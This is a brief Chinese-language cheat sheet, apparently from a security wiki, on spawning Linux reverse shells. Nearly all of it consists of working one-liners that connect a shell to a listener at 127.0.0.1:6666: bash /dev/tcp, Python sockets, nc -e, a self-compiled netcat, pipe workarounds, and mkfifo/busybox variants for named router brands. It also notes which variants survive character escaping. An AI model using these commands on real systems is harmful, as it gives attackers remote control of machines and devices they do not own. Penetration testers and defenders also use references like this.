LINUX反弹shell

关于反弹原理,和每一步的数据流向在网上都有文章,就不复制了。这里只是用来总结下常规反弹shell的用法,顺便说下优点缺点。

姿势一

bash -i >& /dev/tcp/127.0.0.1/6666 0>&1

image

优点:在大多数Liunx系统上都可以使用,缺点:在路由器系统中不存在bash,存在符号>、& 在反序列化中或者对符号转义的情况下就没有办法反弹了。

姿势二

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('127.0.0.1',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

image

优点:在安装了python上的linux都可以使用,原理还是将标准输入、标准输出、标准错误输出重定向到远程。使用bash交互模式启动。缺点:在路由器系统中不存在bash或者阉割了python库,存在符号>、& 、'、"在反序列化中或者对符号转义的情况下就没有办法反弹了。单双引号也会导致闭合问题。

姿势三

nc -e /bin/bash 127.0.0.1 6666

image

姿势四

一般Netcat有两个版本,一个版本是不提供反向连接的版本,一个是全功能版本。这两者的区别就是是否带-e参数,只有带-e参数的版本才支持反向连接。ubuntu 18.04安装的是不提供反向链接的版本。

wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gztar -zxvf netcat-0.7.1.tar.gz -C /usr/localcd /usr/localmv netcat-0.7.1 netcatcd /usr/local/netcat./configuremake && make install

image

优点:直接反弹,没有多余的符号。缺点:系统apt默认安装的都是不提供反向链接的版本,需要自己上传编译后的二进制版本。

解决方法1:

nc 127.0.0.1 6666|/bin/bash|nc 127.0.0.1 7777

image

利用6666端口传入内容交给bash执行,再将内容从7777送出去,管道符的用法。可以在阉割功能的nc上使用。

解决方法2(针对某些mips架构的路由器&busybox终端的系统):

//锐捷
mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | nc 127.0.0.1 6666 1>/tmp/backpipe1

//飞鱼星反弹shell
mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | /bin/busybox nc 127.0.0.1 6666 1>/tmp/backpipe1

image

零组资料文库 all right reserved,powered by 0-sec.org未经授权禁止转载 2020-02-28 17:03:20

results matching ""

    No results matching ""